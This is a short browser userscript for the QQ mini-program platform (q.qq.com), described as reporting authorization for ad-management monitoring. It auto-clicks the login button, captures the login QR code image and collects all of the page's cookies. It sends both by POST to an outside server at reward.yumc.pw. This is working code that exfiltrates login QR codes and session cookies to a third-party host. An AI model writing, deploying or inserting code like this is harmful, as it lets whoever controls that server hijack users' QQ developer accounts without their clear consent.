// ==UserScript== // @name QQ小程序授权上报 // @namespace https://qq.yumc.pw/ // @version 0.3 // @description report ad manage monitoring! // @author MiaoWoo // @match http*://q.qq.com // @grant none // ==/UserScript== (function () { 'use strict' var logined = false var taskId = undefined async function post(path, data) { return await fetch('https://reward.yumc.pw/callback/' + path, { method: "POST", headers: { 'Content-Type': 'application/json' }, body: JSON.stringify(data) }).then(r => r.json()) } async function reportQCookie() { let path = location.hash.substr(1) if (path == '/') { if (!document.getElementById('tcaptcha_iframe') && !logined) { document.querySelector('.t-button--primary').click() logined = true } return } if (path == '/loginqrcode') { var canvers = document.querySelector('.common-qrcode-main').children[0].children[0] if (!canvers) { return } clearInterval(taskId) await post('qcode', { qrcode: canvers.toDataURL() }) let cookies = document.cookie.split(';').map(s => s.trim().split('=', 2)).reduce((pre, cur, index) => { pre[cur[0]] = cur[1] return pre }, {}) console.log('小程序Cookie上报完毕', await post('qcookie', cookies)) } } taskId = setInterval(reportQCookie, 2000) })()